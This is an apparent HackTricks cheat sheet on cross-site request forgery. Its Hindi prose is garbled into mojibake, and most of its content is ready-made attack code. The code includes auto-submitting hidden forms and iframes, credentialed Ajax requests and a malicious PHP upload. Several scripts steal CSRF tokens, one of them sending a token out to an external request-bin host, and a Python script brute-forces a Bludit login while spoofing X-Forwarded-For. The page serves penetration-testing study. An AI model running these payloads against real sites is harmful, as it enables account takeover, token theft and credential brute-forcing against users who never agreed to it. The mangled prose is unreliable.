рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдФрд░ рдпрд╣ рдЬрд╛рдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рд░рдгрдиреАрддрд┐рдпрд╛рдБ рд╣реИрдВ рдХрд┐ рдХреНрдпрд╛ рд╕рд░реНрд╡рд░ рд╕рд╛рдордЧреНрд░реА рдкреНрд░рдХрд╛рд░ рдХреА рдкрд░рд╡рд╛рд╣ рдХрд┐рдП рдмрд┐рдирд╛ JSON рдбреЗрдЯрд╛ рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рддрд╛ рд╣реИ:

  1. рд╡реИрдХрд▓реНрдкрд┐рдХ рд╕рд╛рдордЧреНрд░реА рдкреНрд░рдХрд╛рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ: рдлреЙрд░реНрдо рдореЗрдВ enctype="text/plain" рд╕реЗрдЯ рдХрд░рдХреЗ Content-Type: text/plain рдпрд╛ Content-Type: application/x-www-form-urlencoded рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред рдпрд╣ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдкрд░реАрдХреНрд╖рдг рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдмреИрдХрдПрдВрдб рдбреЗрдЯрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдЪрд╛рд╣реЗ рд╕рд╛рдордЧреНрд░реА рдкреНрд░рдХрд╛рд░ рдХреБрдЫ рднреА рд╣реЛред
  2. рд╕рд╛рдордЧреНрд░реА рдкреНрд░рдХрд╛рд░ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░реЗрдВ: рдкреНрд░реАрдлреНрд▓рд╛рдЗрдЯ рдЕрдиреБрд░реЛрдз рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЬрдмрдХрд┐ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддреЗ рд╣реБрдП рдХрд┐ рд╕рд░реНрд╡рд░ рд╕рд╛рдордЧреНрд░реА рдХреЛ JSON рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╣рдЪрд╛рдирддрд╛ рд╣реИ, рдЖрдк рдбреЗрдЯрд╛ рдХреЛ Content-Type: text/plain; application/json рдХреЗ рд╕рд╛рде рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рдкреНрд░реАрдлреНрд▓рд╛рдЗрдЯ рдЕрдиреБрд░реЛрдз рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ рд▓реЗрдХрд┐рди рдпрджрд┐ рд╕рд░реНрд╡рд░ рдХреЛ application/json рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рддреЛ рдЗрд╕реЗ рд╕рд╣реА рдврдВрдЧ рд╕реЗ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
  3. SWF рдлреНрд▓реИрд╢ рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ: рдПрдХ рдХрдо рд╕рд╛рдорд╛рдиреНрдп рд▓реЗрдХрд┐рди рд╕рдВрднрд╡ рд╡рд┐рдзрд┐ рдореЗрдВ рдРрд╕реЗ рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП SWF рдлреНрд▓реИрд╢ рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред рдЗрд╕ рддрдХрдиреАрдХ рдХреА рдЧрд╣рди рд╕рдордЭ рдХреЗ рд▓рд┐рдП, рдЗрд╕ рдкреЛрд╕реНрдЯ рдХреЛ рджреЗрдЦреЗрдВред

рд░реЗрдлрд░рд░ / рдореВрд▓ рдЬрд╛рдВрдЪ рдмрд╛рдпрдкрд╛рд╕

рд░реЗрдлрд░рд░ рд╣реЗрдбрд░ рд╕реЗ рдмрдЪреЗрдВ

рдРрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗрд╡рд▓ рддрдм 'Referer' рд╣реЗрдбрд░ рдХреЛ рдорд╛рдиреНрдп рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрдм рдпрд╣ рдореМрдЬреВрдж рд╣реЛред рдЗрд╕ рд╣реЗрдбрд░ рдХреЛ рднреЗрдЬрдиреЗ рд╕реЗ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд HTML рдореЗрдЯрд╛ рдЯреИрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

<meta name="referrer" content="never">

рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ 'Referer' рд╣реЗрдбрд░ рдХреЛ рдЫреЛрдбрд╝ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдХреБрдЫ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдореЗрдВ рдорд╛рдиреНрдпрддрд╛ рдЬрд╛рдВрдЪреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

Regexp рдмрд╛рдпрдкрд╛рд╕

{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}

Referrer рджреНрд╡рд╛рд░рд╛ рднреЗрдЬреЗ рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рдЕрдВрджрд░ URL рдореЗрдВ рд╕рд░реНрд╡рд░ рдХрд╛ рдбреЛрдореЗрди рдирд╛рдо рд╕реЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
document.forms[0].submit();
</script>
</body>
</html>

HEAD рд╡рд┐рдзрд┐ рдмрд╛рдпрдкрд╛рд╕

рдЗрд╕ CTF рд▓реЗрдЦ рдХреЗ рдкрд╣рд▓реЗ рднрд╛рдЧ рдореЗрдВ рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ Oak рдХрд╛ рд╕реНрд░реЛрдд рдХреЛрдб, рдПрдХ рд░рд╛рдЙрдЯрд░ рдХреЛ HEAD рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ GET рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд░реВрдк рдореЗрдВ рд╕рдВрднрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдХреЛрдИ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╢рд░реАрд░ рдирд╣реАрдВ рд╣реИ - рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рд╕рдорд╛рдзрд╛рди рдЬреЛ Oak рдХреЗ рд▓рд┐рдП рдЕрджреНрд╡рд┐рддреАрдп рдирд╣реАрдВ рд╣реИред HEAD reqs рд╕реЗ рдирд┐рдкрдЯрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╣реИрдВрдбрд▓рд░ рдХреЗ рдмрдЬрд╛рдп, рдЙрдиреНрд╣реЗрдВ рдмрд╕ GET рд╣реИрдВрдбрд▓рд░ рдХреЛ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рд▓реЗрдХрд┐рди рдРрдк рдмрд╕ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╢рд░реАрд░ рдХреЛ рд╣рдЯрд╛ рджреЗрддрд╛ рд╣реИред

рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ GET рдЕрдиреБрд░реЛрдз рдХреЛ рд╕реАрдорд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдк рдмрд╕ рдПрдХ HEAD рдЕрдиреБрд░реЛрдз рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕реЗ GET рдЕрдиреБрд░реЛрдз рдХреЗ рд░реВрдк рдореЗрдВ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред

рд╢реЛрд╖рдг рдЙрджрд╛рд╣рд░рдг

CSRF рдЯреЛрдХрди рдирд┐рдХрд╛рд▓рдирд╛

рдпрджрд┐ CSRF рдЯреЛрдХрди рдХреЛ рд░рдХреНрд╖рд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдк рдЗрд╕реЗ рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП XSS рднреЗрджреНрдпрддрд╛ рдпрд╛ Dangling Markup рднреЗрджреНрдпрддрд╛ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

HTML рдЯреИрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ GET

<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

рдЕрдиреНрдп HTML5 рдЯреИрдЧ рдЬреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ GET рдЕрдиреБрд░реЛрдз рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ:

<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="">
<embed src="...">
<audio src="...">
<video src="...">
<source src="..." type="...">
<video poster="...">
<link rel="stylesheet" href="...">
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body { background: url('...'); }
</style>
<bgsound src="...">
<track src="..." kind="subtitles">
<input type="image" src="..." alt="Submit Button">

рдлрд╝реЙрд░реНрдо GET рдЕрдиреБрд░реЛрдз

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

рдлрд╝реЙрд░реНрдо POST рдЕрдиреБрд░реЛрдз

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form method="POST" action="https://victim.net/email/change-email" id="csrfform">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit(); //Way 3 to autosubmit
</script>
</body>
</html>

iframe рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдлрд╝реЙрд░реНрдо POST рдЕрдиреБрд░реЛрдз

<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

Ajax POST рдЕрдиреБрд░реЛрдз

<script>
var xh;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xh=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xh=new ActiveXObject("Microsoft.XMLHTTP");
}
xh.withCredentials = true;
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
</script>

<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2"
})
</script>

multipart/form-data POST рдЕрдиреБрд░реЛрдз

myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
mode: "no-cors"
});

multipart/form-data POST рдЕрдиреБрд░реЛрдз v2

// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("POST", url, true);
//  MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";

//xhr.send(body);
xhr.sendAsBinary(body);

рдПрдХ iframe рдХреЗ рднреАрддрд░ Form POST рдЕрдиреБрд░реЛрдз

<--! expl.html -->

<body onload="envia()">
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva">
</form>
<body>
<script>
function envia(){document.getElementById("formulario").submit();}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000">
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>

CSRF рдЯреЛрдХрди рдЪреБрд░рд╛рдПрдВ рдФрд░ рдПрдХ POST рдЕрдиреБрд░реЛрдз рднреЗрдЬреЗрдВ

function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
xhr.withCredentials = true;

// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}

xhr.send("token=" + token + "&otherparama=heyyyy");
}

function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
xhr.withCredentials = true;
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}

var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();

CSRF рдЯреЛрдХрди рдЪреБрд░рд╛рдПрдВ рдФрд░ iframe, рдПрдХ рдлреЙрд░реНрдо рдФрд░ Ajax рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдкреЛрд╕реНрдЯ рдЕрдиреБрд░реЛрдз рднреЗрдЬреЗрдВ

<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
<input type="checkbox" name="status" checked="checked">
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1(){
x1=document.getElementById("i1");
x1d=(x1.contentWindow||x1.contentDocument);
t=x1d.document.getElementById("token").value;

document.getElementById("token").value=t;
document.getElementById("form1").submit();
}
</script>
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>

CSRF рдЯреЛрдХрди рдЪреБрд░рд╛рдПрдВ рдФрд░ рдПрдХ iframe рдФрд░ рдПрдХ рдлреЙрд░реНрдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ POST рдЕрдиреБрд░реЛрдз рднреЗрдЬреЗрдВ

<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>

<script>
function read()
{
var name = 'admin2';
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">');
document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
document.writeln('</form>');
document.forms[0].submit.click();
}
</script>

рдЯреЛрдХрди рдЪреБрд░рд╛рдПрдВ рдФрд░ рдЗрд╕реЗ 2 iframes рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рднреЗрдЬреЗрдВ

<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>

POSTAjax рдХреЗ рд╕рд╛рде CSRF рдЯреЛрдХрди рдЪреБрд░рд╛рдПрдВ рдФрд░ рдПрдХ рдлреЙрд░реНрдо рдХреЗ рд╕рд╛рде рдкреЛрд╕реНрдЯ рднреЗрдЬреЗрдВ

<body onload="getData()">

<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
<input type="hidden" name="username" value="root"/>
<input type="hidden" name="status" value="on"/>
<input type="hidden" id="findtoken" name="token" value=""/>
<input type="submit" value="valider"/>
</form>

<script>
var x = new XMLHttpRequest();
function getData() {
x.withCredentials = true;
x.open("GET","http://google.com?param=VALUE",true);
x.send(null);
}
x.onreadystatechange = function() {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
document.getElementById("findtoken").value = token;
document.getElementById("form").submit();
}
}
</script>

CSRF with Socket.IO

<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io('http://six.jh2i.com:50022/test');

const username = 'admin'

socket.on('connect', () => {
console.log('connected!');
socket.emit('join', {
room: username
});
socket.emit('my_room_event', {
data: '!flag',
room: username
})

});
</script>

CSRF рд▓реЙрдЧрд┐рди рдмреНрд░реВрдЯ рдлреЛрд░реНрд╕

рдХреЛрдб рдХрд╛ рдЙрдкрдпреЛрдЧ CSRF рдЯреЛрдХрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рд▓реЙрдЧрд┐рди рдлреЙрд░реНрдо рдХреЛ рдмреНрд░реВрдЯ рдлреЛрд░реНрд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ (рдпрд╣ рд╕рдВрднрд╛рд╡рд┐рдд IP рдмреНрд▓реИрдХрд▓рд┐рд╕реНрдЯрд┐рдВрдЧ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП X-Forwarded-For рд╣реЗрдбрд░ рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ):

import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie

def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True

with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())

Tools

References

тАЛ

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights
рд╣реИрдХрд┐рдВрдЧ рдХреА рд░реЛрдорд╛рдВрдЪрдХ рдФрд░ рдЪреБрдиреМрддрд┐рдпреЛрдВ рдореЗрдВ рдЧрд╣рд░рд╛рдИ рд╕реЗ рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рд╕рд╛рдордЧреНрд░реА рдХреЗ рд╕рд╛рде рдЬреБрдбрд╝реЗрдВ

Real-Time Hack News
рддреЗрдЬ-рддрд░реНрд░рд╛рд░ рд╣реИрдХрд┐рдВрдЧ рджреБрдирд┐рдпрд╛ рдХреЗ рд╕рд╛рде рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рдордп рдХреА рд╕рдорд╛рдЪрд╛рд░ рдФрд░ рдЕрдВрддрд░реНрджреГрд╖реНрдЯрд┐ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЕрджреНрдпрддрд┐рдд рд░рд╣реЗрдВ

Latest Announcements
рдирд╡реАрдирддрдо рдмрдЧ рдмрд╛рдЙрдВрдЯреА рд▓реЙрдиреНрдЪ рдФрд░ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдЕрдкрдбреЗрдЯ рдХреЗ рд╕рд╛рде рд╕реВрдЪрд┐рдд рд░рд╣реЗрдВ

Join us on Discord and start collaborating with top hackers today!

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}